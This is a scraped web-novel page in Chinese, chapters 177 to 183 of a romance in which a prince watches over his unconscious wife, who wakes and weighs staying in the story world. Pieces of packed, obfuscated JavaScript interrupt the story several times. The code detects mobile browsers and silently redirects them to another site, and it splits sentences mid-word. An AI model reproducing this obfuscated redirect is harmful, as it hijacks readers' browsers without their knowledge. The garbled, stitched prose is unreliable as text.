l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261944|198051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十分确定。 他一整晚都没有合过眼,而且一直守在床边,小姑娘如果醒来过,他不会不知道。 “而且还浑身高热不退,其他没有任何迹象。” 连说一句呓语都没有,沈听晚就是这么安安静静的躺在床上。 就如同当初,他从战场上受伤刚回来那时候一样,活脱脱像一个没了灵魂的活**。 这下子,张太医的脸色更白了几分:“回王爷……微臣给王妃娘娘诊脉,脉象上看不出任何问题,而且所服用的汤药也没有异常,但是……” 君翊:“但是什么,你说话就不能一次性把话说完!” 君翊有些着急了,他已经受够了这个家伙,说话总是断断续续,一句关键的话,恨不得用一堆还无用出的废话堆积。 当然这也不能怪张太医,他身为太医,在皇宫里替宫中的娘娘和陛下诊脉,所说之话必须要思而再思,确保所说之话没有任何问题才能开口。 都说祸从口出,这个道理,张太医在进太医院就深得体会。 这么多年的习惯了,也不是一朝一夕就能更改的。 只不过他忘了,这里是翊王府,却并不是在皇宫里。 “回王爷,臣的意思是,或许不是大夫的问题,而是王妃娘娘自己,是王妃自己困在了自己的世界里,一时之间走不出来,那怕是神医,恐怕也束手无策。” “困在自己的世界里?” 君翊的两条剑眉紧紧的拧在一块,深邃五官,露出疑惑的表情。 “那就只能眼睁睁的看着她这样,什么事儿都做不了吗?” “王爷,您先不要心急,实在是我们做的实在是太过有限……” 君翊深吸一口气,隐忍克制着自己接近于有些崩溃的心情:“那如果王妃一直无法走出来,会有什么后果?” “这……”张太医脸上露出十分为难的神色,一时之间也不知道该如何开口。 “说!”君翊接近于失去理智似得大声喝道。 第178章 最坏的结果 “如果按最坏的后果来看,王妃娘娘今后恐怕会和您当年从战场上回府的情况一样……”张太医硬着头皮的说道。 又或者说,情况可能会比那个时候还要糟糕。 因为他也不知道,使用七转反魄针的反噬究竟有多大,从前也只是听过家师粗略的提过几句,不过张太医对此并没有更深刻的研究。 也不知道,后果究竟是什么。 张太医此时的心情也极为沉重,他承认,翊王妃的确是一个医术难得精湛的医者,水平也远在他之上。 光凭看现在的翊王殿下,能够从床上好端端的站起来,而且一改三个月之前的颓废,就足以证明,沈听晚的医术是有多么的精湛了。 如果真的出了什么事,那才是真的太可惜了。 君翊也是没想到,事情到最后竟会是这样的结果。 对于这个结果,他实在是接受不了。 君翊不断的摇着头:“不可能……不会的。” 绝对不可能会是这个结果。 小姑娘怎么会醒不过来呢? 明明昨天,小姑娘还活蹦乱跳的站在他的面前啊。 怎么就在短短的不到一天的时间,不过是给人解个毒而已,就醒不过来了? 君翊很清楚,当年他昏迷不醒的时候究竟是何种感受,不想让小姑娘也体会他当年的痛苦与绝望。 可是,他却又什么都做不了…… “你出去,再给王妃继续熬药,我要让她醒过来,不管用什么药,你都必须把她给我治好!”君翊一把薅住了张太医的衣襟,一字一顿的说道。 张太医被君翊的失控吓得脸色惨白,对上君翊那双猩红的双眼,吓得连连点头:“是……是,微臣一定拼尽全力!” 听见这话,君翊才松开了张太医的衣服,转头又看向床上的沈听晚,眼中尽是悲伤之色。 “滚!” 张太医跌跌撞撞的从房间里踉踉跄跄的跑了出去。 现在的翊王殿下,实在是太可怕了,活脱脱的像是一只失去牢笼束缚的困兽啊。 刚才,张太医在房间里,险些没把自己的魂儿给吓飞了。 屋内,在没有了外人,君翊坐在床边上,想着张太医的话,心情很乱。 “晚晚啊,醒过来好不好?我知道你不属于这个地方,但是我就是希望,你能够在这里留得久一点,哪怕是一点点时间。 我不知道你究竟是谁,也不知道你在属于你自己的世界里,究竟经历过了什么,但是,是你改变了我的人生啊,我的人生才刚刚有一点光亮招进来,那一抹光亮就是你。” 君翊定了定神,声音十分轻柔的在沈听晚的耳边说着。 而床上的人却丝毫没有反应。 “晚晚,你不要不理我好不好,我真的……什么都没有了,就只剩下你,你忍心吗? 既然你这么忍心的要抛下我,说,又为什么要闯进我的世界?又何必来救我?就让我在床上自生自灭不好吗?” 君翊说话的声音变得哽咽起来,眼眶变得通红,不知不觉间,一滴热泪,缓缓从他的脸庞滑落,滴在了沈听晚的脸颊上。 然而床上的人除了还有微弱的一点呼吸,看不出半点生气。 “晚晚,我知道你想要离开京城,想要过安逸自在的日子,想要任何人对你有所束缚,这些我都可以做得到,想离开京城,我可以陪你一起离开,我不去复仇了,我去陪你过那自由自在的日子,好不好? 只要你能够醒来,什么事情我都可以答应你,只要你能够醒过来,好不好?” 君翊说完,眼睑的泪落下的更多了。 这是他从小到大,第二次为了一个女人而哭泣。 第一次,是当年他还只有六岁的时候,眼睁睁的看着自己的母妃在他的面前一点点没了呼吸。 那一次,小小年纪的君翊,那个偌大的深宫之中显得那么无助与绝望。 那个时候,君翊就在心里面发誓,他绝不会再为任何一个人哭泣了,他再没有泪水。 因为在君翊的心里明白,人类是在这个世上最没用的东西。 他的母后,我因为她哭泣而活下去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261945|198051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 可是现在……君翊食言了。 看着床上奄奄一息的小姑娘,他早已经认定已经在六岁那年哭干的泪水,再一次为了另外一个女人而流下。 虽然他们之间的相处,也只有不到短短三个月的时间。 可是小姑娘就是这样悄无声息的走进了他的内心里。 又或者说,在他在他们大婚夜那天,睁开眼睛看到的第一个人是小姑娘的时候,就已经对小姑娘一眼定终身了。 “晚晚,我身体又不舒服了,你不是说答应过我,要让我全愈的吗? 可是我现在感觉自己很不好,我需要大夫,你又在哪里啊……”君翊有些绝望地说着。 就这样,君翊在沈听晚的身边,断断续续的念叨着,从白天到黑夜,只是点亮了蜡烛,连暗祁想从来饭菜,都被君翊呵斥走了。 暗祁几人也是满心的焦急,不放心的在房间门口来回走着。 “王爷陪着王妃娘娘,已经三天滴水未进了,再这样下去身体怎么能受得了啊。” 又是一连几日,沈听晚还是没有醒过来的迹象,君翊也没有出过门,更是不让任何人进去这个房间。 暗祁看着紧闭的房门,脸色严肃,眼中隐隐泛着担忧,冷冷的说:“你准备一份吃食,我送进去。” 哪怕再被王爷呵斥,哪怕今天王爷要杀了他,他也一定要让王爷把饭吃了。 他们主子在床上已经躺了将近一年了,所有人都觉得王爷命不久矣,很快就要**,他们从来都没有放弃过。 眼看着王爷的身子因为有王妃娘娘的到来,一天天的好转,暗祁绝不能在看着王爷便会从前的那样。 暗蒙听见这话,飞奔似的朝厨房的方向跑去,很快便拿来了吃食。 暗祁结果暗蒙手上地食盒,深吸一口气,像是下定了决心,走到门口,准备将门打开。 然而,房门刚打开一个小角,暗祁还没等拿着是盒进去,从里面便唰的一下,一把锋利的**从半空中飞了出来,没有防备的暗祁踉跄躲闪不急,手上的饭菜尽数洒了一地。 第179章 抉择,是走还是留 没办法,现在谁也无法靠近这个房间一步。 暗祁暗蒙和春婳冬卉几个人谁也睡不着,就都只能在外头守着。 君翊因为几天滴水未进,彻夜不眠的守在沈听晚的床边,再加上一连些日子的身心疲惫,靠他在床边,手紧紧牵着沈听晚的小手,昏昏沉沉的磕上了眼,昏睡过去,嘴里还喃喃的低语:“没事儿的,有我在,晚晚,不管多久,我都等你醒过来……” 而床上的沈听晚,这些天的昏迷,一个人已经是浑浑噩噩的,感觉自己的灵魂出了窍,冥冥之中她看到前方有一条长的看不到尽头的路。 沈听晚站在路中央,眼中满是迷茫的看着。 这是哪里?沈听晚很想知道,前面是通往哪里的路? 是可以通向现实世界的吗? 那她现在要不要继续往家走,回到本属于她的世界? 沈听晚就觉着要不要继续往前走,想要回头,却发现,自己后面的道路也是一眼望不到尽头。 所以,如果继续走到话,她到底会到哪里呢? 会是现实世界,还是说,会去往另外一个崭新的是两人世界当中呢? 就在沈听晚心里纠结这的时候,眼前的景象豁然一变,前方突然间的一片光亮,晃得她双眼刺痛,下意识条件反射般紧闭双眼。 待沈听晚适应了这强光,缓缓睁开双眼的时候,被眼前的景象惊了一跳。 只见自己脚下,刚才还是一片宽敞的路面,突然间被人写满了文字。 而那些自,沈听晚都认得,但却又看不懂。 一排排的文字整整齐齐,沈听晚发现,自己仿佛处于一本厚厚的书当中。 沈听晚的脚有些不打听使唤的继续缓缓往前走去,却发现这条路上除了蚊子什么都没有,一棵树,一棵草都没有,空荡荡的。 这样的场景,也让沈听晚突然之间陷入了恐慌之中。 对于这种未知的世界,哪怕沈听晚经历再多,也很难不乱了阵脚。 可是他一直往前走,这条路却像是永远走不到尽头,沈听晚也感觉自己的灵魂越来越虚弱,整个身体渐渐的变得有些透明。 她想放弃,就留在这里,哪也不去,任由自己自生自灭,可却又不甘心,因为她真的很想知道,条路的尽头究竟是去往哪里的。 沈听晚边走边想,如果路的尽头是另外一个世界,让她可以脱离原本的话本世界,离开话本世界所以遇到的一切人和事,她究竟要怎么选择? 彻底的离开君翊,连一句道别的话都来不及说吗? 还有沈家的父亲母亲和兄长,他们对自己真的很好…… 有那么一刻,沈听晚甚至都有些舍不得放弃这话本的一切了。 当然,她绝不承认,她舍不得离开,是因为某个人! 而且,如果真的是通往另外一个话本世界,又或者是让她回到现实世界当中,好像也似乎没什么意思。 换一个地方,还会遇到像沈家爹娘和兄长对她那么疼爱的人吗?还会遇到和君翊吗? 至于回到那现实世界当中,沈听晚也是坚决不想回去的。 那虽然是她生活了二十几年的地方,可是在那里,他没有家人,没有朋友,有的只是想要将她利用到极致的变态父母,想要让她为此效命的**组织,没有一点的亲情,友情,爱情可言,有的只是那些冷冰冰的机器。 她不回去! 她宁愿一辈子都被困在这本话本世界当中。 最起码这样,她不会再为任何人奉献出自己的一生。 对! 那样冷冰冰的地方,她是脑袋被驴踢傻了,才会想着要回去的吧! 而且,其实留在这话本世界当中也挺好的,真的挺好,沈听晚实在是不想回去之后继续每天任劳任怨的给别人拼命了,那样的生活太过疲惫,也太过无趣。 有的时候,沈听晚总是自己一个人静下来思考,那对所为父母把她生下来,究竟是为了什么。 总归,不会是因为她的父母相爱。 她想,自己在现实生活当中的离开,应该没有任何人为她感到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“算了,那样的人生,本就是我的,让我一个人去承受就够了!” 最后的沈听晚,决定还是把话本世界交还给原主,她替原主改变了悲惨的结局,叫她摆脱渣男太子,接下来的路,就让原主自己走下去吧。 沈听晚下定了决心,抬头依旧向前继续走,前面的路依然还在,可就在这时,耳畔处突然传开有人说话的声音。 第180章 在为她哭泣 那声音让沈听晚觉得非常熟悉。 是君翊的。 是他在和自己说话? 是他! 沈听晚听出来了,君翊的每字每句,沈听晚都能听得十分真切,越听越觉得自己的脚越沉,像是灌了铅似的,沉的让他迈不开步。 刚开始,沈听晚原本以为是自己的幻觉,可到了后面就感觉不对劲了,君翊的话越说越多,他说话断断续续但却从来没有停止过,甚至把他们成婚到现在所有的事情都拎了出来。 沈听晚都要觉得,自己耳边的声音有点不大像君翊了。 因为,在他的面前,君翊从来就没有和她一次性说过这么多话来的。 她知道,君翊喜欢她,但她不确定这个男人喜欢的究竟是自己还是原主,当然她也不想确定,即便她准备要留下来的那会儿,也从来没有打算把君翊纳入自己今后的生活当中过。 声音越来越清晰,弄得沈听晚原本决心要回到现实世界的决心都开始动摇了,让她心烦意乱。 “够了!不要再说了。” 沈听晚烦躁的怒斥一声,那声音依旧还在,沈听晚抬手捂住自己的双耳,但是没有一点作用。 君翊的声音是有穿透力的,仿佛直达沈听晚的心脏,依旧让她听的一清二楚。 他好像哭了…… 沈听晚听出了君翊语气中的呜咽声,身形猛然间顿住。 不会吧? 君翊他竟然哭了? 不可能,绝对不可能! 沈听晚在心里不断安慰着自己。 一定是她听错了,她和这家伙总共相处也不过几个月而已,就算他对自己有感情,能有多深啊? 况且,沈听晚从来都不相信什么所谓的爱情! 心里是这样想的,但沈听晚还是悄悄的竖起了耳朵,把手放心仔细的听了起来。 她的离开,君翊真的有那么伤感吗?沈听晚想最后确定一下。 不管怎么着,她和君翊夫妻一场,虽然是名义上的,但这也是沈听晚第一次和一个男人成婚,她想知道,君翊对她的喜欢,究竟有多深。 沈听晚又开始由于起来,要不要先回去看看,君翊在她床边哭泣的模样,就看一眼,然后就把这个世界交还给原主? 嗯,就这么决定了。 沈听晚下定了决心,只看一眼,然后就不再对这个话本世界有任何的留恋,决定好之后,就听着声音传来的方向往回跑去。 越跑沈听晚便觉得自己的脚下越来越轻快,越跑越快,她都有些纳闷,方才自己向前走,怎么脚步就越来越沉呢? 正思索着,沈听晚也没注意到脚下突然间没了路,一个不防便掉了下去。 沈听晚眉头紧蹙,眼中满是茫然之色。 这是啥情况? 刚才她走得那条路呢? 明明她是在原路返回啊?怎么没有了! 沈听晚感觉自己仿佛掉进了一个巨大的黑洞之中,身体下沉的速度飞快,沈听晚想要本能的抓住周围的东西停止下降,可是周围空无一物,仿佛在这里,就只有沈听晚一个人。 直到沈听晚感觉自己坠落停滞以后,突然间感觉身体上下传来那种撕心裂肺的剧痛,她猛然间睁开了双眼,浑身的剧痛叫她忍不住想要把整个身体蜷缩起来。 可这个时候,沈听晚才发现,自己似乎又回到了肉身上。 房间里很幽暗,只有不远处点着一根蜡烛,照在屋内散发出微弱浅浅的光亮。 沈听晚适应了好一会儿,才终于看清了眼前的一切,这里是君翊的房间,还有…… 一个胡子邋遢的男人,依靠在床边。 我天! 这男人是谁; 沈听晚下意识的惊醒,瞪大双眼看过去,定睛仔细一看,有点眼熟,在一看,沈听晚不淡定了。 这……不是君翊,还能是谁啊? 不过,沈听晚心里头纳闷着,君翊怎么变成这样了?胡子邋遢的不说,衣服也皱巴巴的,嗯……好像瘦了不少。 看着君翊这副样子,沈听晚的嘴角也狠狠滴抽了抽。 所以,她这是到底昏迷了多久啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261947|198051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,君翊难不成就这样一直守在她身边到现在了? 沈听晚缓缓抬起略微有些发沉的手,想要戳一戳身边男人,可手指到君翊的脸庞出,又缓缓的松开了手掌,指尖有些发抖的轻抚了抚君翊的脸庞。 有些沧桑了。 不过不得不说,上天给了君翊副顶好的皮囊,即便看上去不修篇幅,但还是一如既往地帅气英俊。 就是……她的这手,怎么会这么重啊? 沉的她都有点抬不起来了,沉的叫沈听晚有些陌生。 这还是她的那副身体了吗? 沈听晚突然间想起来了,她之所以陷入昏迷,是因为给那侯府小公子解了毒,那毒十分凶险,为解毒,她用了七转反魄针,导致消耗了自己打量的精血,然后昏迷了。 我晕死! 想不到这七转反魄针的反噬竟然会这么大,大的她差点就要滚回原世界了! 不过,她在现实世界当中也用过这七转反魄针啊,不过是虚脱了几天而已,也没有像在这里似的,一下子就昏迷了呀? 沈听晚的心里越发疑惑起来,难道是因为这副身体比较她原来那副身体太过弱了些,没有经历过**组织的集训,身体不够强大,所以承受不住这七转反魄针的反噬作用? 嗯,应该就是这样。 沈听晚又抬眼看向依靠在自己身边的男人,在看清男人那微微瞌起的桃花眼时,神色顿时愣住。 只见君翊的眼睑处似乎有那么一点湿润,是泪水吗? 难道君翊真的哭了? 她刚才没有听错,那些话都是君翊说的,而且,还哭了? 沈听晚有些不敢置信的用指尖轻轻的抹了一下,放到自己的鼻尖闻了闻,作为从小学医到大的沈听晚,可以无比确定,这就是君翊的泪水。 他真的是在为自己哭泣。 沈听晚的内心深深的被什么东西猛烈的一击,向他这样的一个王爷,竟然也会为了她流泪。 沈听晚的眼底微微闪烁着些许动容,或许,她也可以尝试着渐渐对君翊打开心房。 第181章 找一个真心相爱的女子不好吗? 但是,这个念头也只在沈听晚的心里停留了一个瞬间便立马被她打消了。 什么是爱情? 那是最无用最虚无缥缈的东西! 与其去相信这所谓的爱情,她还不如去相信火星能撞地球呢! 在沈听晚的印象当中,一切的接近,那都是有多图谋的,君翊也不例外。 如果不是她医治好了君翊的伤,沈听晚就不相信,君翊能喜欢上自己?这还不是觉得她这个人对他有利用价值! 人都是一样的,不可能会去对一个人毫无企图的好! 她也一样,之所以留在翊王府,还不是为了摆脱渣太子那个麻烦吗! 想到这里,沈听晚立马收回视线,渐渐有些动容想要为君翊敞开的心,也在这一刻瞬间关闭。 她,不能对君翊动心,动了心只会让她输得一败涂地。 沈听晚一边不断的劝说着自己不要对君翊动情,但是内心深处却没办法不对君翊对她所做的一切而感动。 至少,从小到大,沈听晚就连在她那对所谓的父母身上,都没有感受过这样的关注。 不得不说,君翊这个人,真的很好,好到沈听晚都忍不住想要去接近。 君翊昏昏沉沉的靠在床边,睡梦中感受到有一只手刚才似乎在摸他的脸,动作很轻柔,像是一阵风拂过,但君翊还是感受到了。 是小姑娘吗? 是她醒了吗? 君翊不敢睁开眼,害怕是他地错觉,但是,他喜欢这样的错觉。 听到耳边似乎传来一阵叹息的声音,君翊浑身一僵。 在这一刻君翊可以确定了。 他的小姑娘真的醒来了。 君翊再也无法忍受得住,缓缓睁开眼睛,顿时,便看到小姑娘的双眼直直的看着房梁。 “晚晚?”君翊不确定的轻唤了一声,扰乱了沈听晚的思绪。 沈听晚收回视线,移目看过去,瞬间,两人四目相对。 “你真的醒了,晚晚,太好了,你真的醒了,你知不知道你究竟睡了多久啊!”君翊神情激动,声音沙哑的喜极而泣。 沈听晚见着君翊的模样,顿时也一阵无语,不过心里还是划过一股暖流。 她故作生气的开口:“明知道我在睡觉,你还在我耳边说个没完,我就是被你唠叨醒的!” 要不是这样,她现在早回现实世界了! 君翊抬手随意抹了抹脸庞,声音略带哽咽:“可是你睡得太久了,我忍不住不叫醒你。” 君翊担心,小姑娘会这样一直睡下去,就像一年前的他一样,又或者更加糟糕,永远无法醒过来。 “你……哭了?”沈听晚怔怔的望着君翊,最后还是没忍住问出内心里最想知道答案的问题。 君翊低下头去,又抬手抹了抹鼻子,有些别扭的说:“看到我哭,你是不是想嘲笑本王?” 没事,嘲笑也没关系。 他不在乎,只要小姑娘能醒过来,就是让他一个大男人天天哭,他也愿意。 “是为了我哭的吗?” “废话,不是为了你,在这个世上,还有谁值得我为他这样啊?”君翊有些恼怒的白了沈听晚一眼,这个小姑娘,肯定是故意的,非要刨根问底才心满意足不成! 可是听见这话,沈听晚似乎并不怎么高兴,她缓缓收回视线,眼皮微微耷拉着。 君翊蹙眉,以为沈听晚又是身体哪里不舒服,瞬间心中警铃大作:“我现在去让张太医过来,再给你把脉。” 说着,君翊便要起身,可就在这时,耳边却突然传来小姑娘的声音。 “君翊。” 君翊的动作停下,转头看向沈听晚的眼睛:“我在呢。”很认真,也很温柔的开口。 君翊眼中的那一抹神情,沈听晚看在眼里,心里又是一阵的心烦意乱。 “为了我你这么做值得吗,就算没有我在,又有什么关系呢,我们原本就不是夫妻关系,我**,你可以找一个你真心相爱的女子成亲,这难道不好吗?” 君翊看着沈听晚的眼睛,坚定而又不容置疑的说:“不好。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261948|198051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 沈听晚的双眼又是微微一颤。 然而,君翊却没有把视线收回,他缓缓牵起沈听晚的手,沈听晚想要躲开,奈何身体太过虚弱,无法挣脱,只能任由着君翊肆意妄为。 “沈听晚,刚才问我为你做这些值得吗?我现在就可以回答你,当然值得! 我的这条命是你救回来的,不管你有没有把我当做你真正的丈夫,在我的心里,你就是我的妻子,哪怕你不喜欢我,一辈子都不会喜欢我,都不会改变心意,没有了你,往后的日子我和那一具行尸走肉有什么区别?” “可是,总有一天我还是有可能会消失的啊。”沈听晚鼻子有些酸涩的说道。 这一次,并不是意外,她本应该要回去的,而且未来,这样的事情难保不会再次发生。 如果下一次她没有选择的机会了呢? 如果下一次,老天就是要让她从原主的这副躯壳里离开了呢? “不会的,相信我,只要有我在一日,就永远不会让你离开。”君翊直了直身子,吸了口气,垂头看着地:“从前答应你的事情,我恐怕要反悔了,我不会让你离开,晚晚,哪怕你恨我,哪怕以后你都不想见我,我也不会让你离开王府。” 沈听晚眉头紧拧:“你什么意思?” “字面意思。”君翊说话的语气十分坚决:“我不会给你和离书的,晚晚,你以后永远都会是我君翊的妻!” 这下子,沈听晚的脸色都快要沉到地下了:“君翊,你做这么多都是无用的,怕你把我困在王府,终究困不住我,我刚才所说的离开,不是你心里所想的那个意思!” “我知道。” “什么?” 君翊嘴角勾起一抹弧度:“我知道你不是沈听晚。” 听见这话,沈听晚的双眼都被惊的瞪圆了,不敢置信,满脸震惊的看着君翊。 他知道自己不是沈听晚? 什么意思? 是她心里想的那个意思吗? 是她在君翊的面前,露出过什么马脚被他察觉了? 第182章 秘密被看破了了 沈听晚的脑袋里,突然之间萌生出来了许多个问号,更是有一种前所未有的恐慌感。 仿佛在君翊的面前,她的所有秘密,都被君翊一一看破了。 见着沈听晚满脸的不敢置信,仿佛受了惊吓似的瞪圆了双眼看着自己,君翊又温声的开口:“晚晚,其实我一直都知道在你的身上藏着许多秘密,我从来都没有想过要去窥探什么,从始至终,我就只是想要让你留在我身边,仅此而已。” “那些秘密你如果不愿意同我讲,我不会问一句,但如果有一天你觉得我这个人是值得信任的,你愿意为了我敞开心扉,愿意和我说起你的经历时,我会听。” 沈听晚垂下眼去,静静的听着君翊的话,嘴角抿起一抹苦涩。 “那如果这些秘密太过骇人听闻了呢,又或者说我是一个妖女,是一个鸠占鹊巢的坏女人呢?” “你不是,我也不许你这么诋毁你自己! 在我的心里,你永远是最好的女人,最好的小姑娘。” “小姑娘?”沈听晚笑了,她在现代都二十六了,再过几年都要三十的人了,从来都没有人说过,她是一个小姑娘。 这个称呼,还真是够新鲜的。 “对,你就是小姑娘,在我这里,你永远都可以是一个小姑娘。” 见着沈听晚可算是笑了,君翊也松了口气。 最起码,他今天试探的说出知道沈听晚的秘密,没有遭到沈听晚的反感和逃避,这已经是很好了。 沈听晚深吸一口气,再次看向君翊:“好,我有一个问题想要问你,你如实回答我。” “你说。”君翊点点头,认真的看向沈听晚。 对于小姑娘,没有什么好隐瞒的。 沈听晚想了想,犹豫着开口:“你从前说你喜欢我,那我问你,你是喜欢现在的我,还是从前的我?” “从前的你?” “嗯。”沈听晚点点头,眼神紧紧地盯着君翊,生怕错过君翊的任何一个表情。 “那日和我成亲为我医治的沈听晚,可是现在的你吗?” 沈听晚:“是我。” 君翊挑了挑眉:“那你可从哪里听说话,本王从前见过沈将军府的千金?可曾她有过半点交集?” 沈听晚:“……” 好像真的没有啊? 在原书当中,沈听晚嫁给了君宁玄,也就是太子,一直被困在深宫当中,沦为太子和叶雪初的背景板,哪有那个机会和君翊见面啊。 更何况,君翊在不久后的一年就**,可以是,在书里,沈听晚和君翊两个人,就是在同一本书两条线上毫不相关的两个纸片人而已。 是因为她的到来,所以沈听晚才会和君翊有了牵扯,甚至成为了翊王妃。 “是不是没有过?”君翊反问道。 “可以啊,本王从前都没有见过你,又何来的喜欢一说,我喜欢的,是那日和我成亲的沈听晚,这些天我们一直朝夕相处的你。” 沈听晚的眼神为动了动,很快又收回视线,脸颊微红:“什么朝夕相处?我们之间哪来的朝夕相处啊?” 君翊轻笑着挑了挑眉:“那你说,我们自打成亲到现在,一直睡在一张床上,同吃同住,这不算朝夕相处又算什么呢?” 沈听晚:“……” 行! 算君翊赢了! “但是说真的,我刚才可没跟你开玩笑,总有一天我还是会离开的,而且是那种彻底离开这个世界,你最好不要真的爱上我,且提前做好心理准备。” “你让我做什么准备?” “做好接受我离开的准备啊。” 君翊想了一下,看向沈听晚,试探的问了一句:“如果真的有那么一天,你就真的舍得离开?” “说不准,这一次我本来就是要离开的,要不是你把我吵醒,估计现在我都不知道到哪里去了。” 但是下一次,沈听晚保证毫不犹豫坚决不回头,就是听见君翊哭死,哭晕,哭瞎了,她也绝对不会好奇一下! 她发誓! 君翊哼笑一声,垂下眼去,掩饰住眸中的失落,但还是笑着低骂道:“还真是一个狠心的小姑娘!” “是啊,我就是够狠心,而且从不善良,你最好不要喜欢上我。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261949|198051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “那你说晚了,我已经喜欢上你了,不管你什么样,我都不会改变自己的心意了。” 沈听晚叹了口气,那叫一个大无语。 感情她刚才说了这么多,还是没有吓着君翊这家伙啊! 她都已经快明说了,她不是这个世界的人,君翊竟然还对她痴心不改? 这个男人,究竟是有多么的固执啊! “你方才问了我那么多问题,我现在可以问你一个问题吗?”君翊小心翼翼试探的问。 沈听晚的脑袋此时有些乱乱的,不假思索的点了点头:“你说。” “你……可以告诉我你真正的名字吗?” 沈听晚这个名字属于沈家千金,君翊想要知道的是,小姑娘在她的那个世界里,究竟叫什么。 沈听晚的眉心动了动,缓缓开启红唇:“沈听晚。” 她就是叫沈听晚,不管是在现实生活当中,还是在这纸片人世界里, 她和原主是一样的名字。 君翊了然的点了点头,见沈听晚脸上没有不悦,有继续开口:“那我以后可以叫你晚晚吗?” 沈听晚:“……” “这是第二个问题了吧?”沈听晚面无表情的说道。 这家伙,还真是懂得得寸进尺呢。 君翊惺惺的挑了挑眉:“那好,你继续问我吧。” 沈听晚:“问什么?” “问你想要知道的问题。” 沈听晚摇了摇头:“我没有什么想问的了。” 关键是,她就算是有想知道的也不会现在问。 她不想回答君翊的那个问题。 好吧。 没能如愿的君翊,内心有些失落。 不过他是不会放弃的,总有机会他能让小姑娘开口答应。 当然了,不答应也没关系,嘴长在他身上,他想叫小姑娘晚晚,小姑娘也不能拿他怎么着。 这时候,房门外头传来敲门的声音。 “王爷,王妃的药熬好了。” 是春婳的声音,只见她站在门外,手上端着一碗汤药,走进门来。 第183章 王妃醒了 再走进门看到沈听晚苏醒过来,春婳原本颓然的脸上瞬间面露喜光,律动的险些没把药碗打翻。 “王妃娘娘,您醒了?” 太好了!王妃娘娘您可算是醒了! 春婳激动的手舞足蹈,更加庆幸的是今天是她把汤药端进来,可以成为第一个,啊不对,第二个知道王妃娘娘苏醒的人。 第一个,当然是他们家王爷啦。 不过第二个也挺好,最起码是赶在了暗祁暗蒙那两个家伙的前面了! “你看着点,别把药弄撒了。”君翊看着春婳那副激动的样,眼神紧盯着她手上的汤药,眉头不禁蹙了起来,冷声呵斥道。 沈听晚:“你凶什么凶,这是我的人,现在不属于你的武婢!” 沈听晚此时也开始了护犊子起来,不满的瞪了君翊一眼,生气的开口。 春婳现在是她的丫鬟,她不允许任何人欺负她。 君翊这个原来的主子,也不行! 君翊无奈的叹了口气,满脸尽是宠溺之色:“好好好,我不凶,药洒了让人重新熬就是了。” 他现在在小姑娘的面前是彻底没了脾气了。 沈听晚白了君翊一眼,才转头看向春婳,脸上立马露出让人心安的笑意:“让你们担心了,我醒了。” “王妃娘娘您醒了就好,这些日子,王爷一直守在您身边,我们担心您都要担心**。”春婳一个武婢,此时看着沈听晚醒来,也忍不住泛起了泪花。 “王爷一直照顾我?” 春婳忙不迭的点头:“是啊,王爷是最担心王妃娘娘的,寸步不离的照顾不说,平常都不让我们进来打扰您的!” “我昏睡了多长时间了?” 春婳抬手数了数日子,然后又斩钉截铁的说:“不多不少正好七天,王妃您晕倒的那天,正好来了月信,想来今天也彻底走干净了!” 月信?! 我晕死! 沈听晚听见这话,更是两眼一黑。 怪不得她现在感觉自己身体还有些发虚呢,感情她这些天不禁耗费了精血,还来了月信! 等等,七天? 沈听晚愣住,表情也瞬间变得严肃起来。 她给谢煜施的七转反魄针,是七针,然后她之后又昏迷了七天。 敢情这一针要晕一天啊。 沈听晚想到这里,简直是要被无语住了。 